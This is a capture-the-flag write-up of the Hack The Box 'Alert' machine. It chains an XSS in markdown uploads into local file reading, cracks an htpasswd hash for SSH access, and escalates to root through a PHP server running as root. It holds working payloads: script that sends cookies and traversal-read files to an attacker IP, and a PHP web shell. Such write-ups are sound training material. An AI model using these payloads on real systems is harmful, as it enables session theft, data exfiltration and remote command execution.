This is my writeup for the alert hackthebox machine

Machine path

admin contact xss-> lfi-> get creds using lfi ->root user running php server-> rce in that php app

  ┌──(root💀kali-linux-2021-3)-[~/Desktop/htb/alert]
  └─# nmap 10.10.11.44 -sCV | tee nmap.log
  
  
  Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-25 11:55 IST
  Stats: 0:00:20 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
  NSE Timing: About 99.30% done; ETC: 11:55 (0:00:00 remaining)
  Nmap scan report for 10.10.11.44
  Host is up (1.7s latency).
  Not shown: 998 closed tcp ports (reset)
  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
  |   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
  |_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
  80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
  |_http-title: Did not follow redirect to http://alert.htb/
  |_http-server-header: Apache/2.4.41 (Ubuntu)
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  
  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 33.88 seconds

add alert.htb to /etc/hosts

┌──(root💀kali-linux-2021-3)-[~/Desktop/htb/alert]
└─# echo "10.10.11.44 alert.htb" > /etc/hosts 

we can upload markdown files and share the file link and it’s vulnerable to XSS.

We can share the link to someone and the XSS payload will execute in their browser.

Contact-us page

Any links we share in this message the admin opens it. we can test it using our server

┌──(root💀kali-linux-2021-3)-[~/Desktop/htb/alert]
└─# ifconfig tun0 && python3 -m http.server

This gives a hint the admin can also open our shared XSS payload markdown file and we can read cookies.

XSS payload:

<script>
var x = new Image();
x.src="http://10.10.11.xx:8000/?info="+document.cookie;
</script>

upload to the alert.htb and get a sharable link then send it to the admin via contact-us form

But we got no cookies someone else ate it!!

so let’s do some other digging let’s read the context of alert.htb?

<script>
fetch("http://alert.htb/messages.php")
.then(response => response.text())
.then(data => {
    fetch("http://10.10.16.78:8000/?data=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching the messages:", error));
</script>

After url-decoding we see a new messages link that is not accessible for us but maybe for admin… let’s see it context

messages.php Context

We can see that the file parameter just reads the file by filename

Example:

<?php
$file= $_GET["file"];
$myfile = fopen("uploads/". $file, "r");
echo $myfile;
?>

This opens the file in the uploads directory

We can trick the app into reading any file escaping the path

Example:

http://alert.htb/messages.php?file=../../../../../etc/passwd

Payload:

// alert.md
<script>
fetch("http://alert.htb/messages.php?file=../../../../../etc/passwd")
.then(response => response.text())
.then(data => {
    fetch("http://10.10.16.78:8000/?data=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching the messages:", error));
</script>

upload to the alert.htb and get a sharable link then send it to the admin via contact-us form

Local file inclusion:

After some enumeration, we found that apache2 is running

apache2 config file location

/etc/apache2/sites-enabled/000-default.conf

we see .htpasswd file location also the subdomain found statistics.alert.htb

reading the /var/www/statistrics.alert.htb/.htpasswd we get alebert user’s hash. crack it using john the Ripper

┌──(root💀kali-linux-2021-3)-[~/Desktop/htb/alert]
└─# john hash -w=/usr/share/wordlists/rockyou.txt  --format=md5crypt-long

ssh as Albert user get user flag

linpeas

albert@alert:/tmp$ wget http://10.10.16.78:8000/linpeas.sh

running linpeas we found on the 8080 port something is running

forward to our local

┌──(root💀kali-linux-2021-3)-[~/Desktop/htb/alert]
└─# ssh -L 8080:localhost:8080 albert@alert.htb

It’s a simple website monitor

but the PHP server running as the root

The config directory is writable by management group members

Our user Albert is a member of the management group

PHP running as root user anything we do on PHP code will run as root user

Final payload:

albert@alert:/opt/website-monitor/config$ touch test.php

<?php 
echo exec($_GET["cmd"]);
?>
test.php (END)

Pwned!!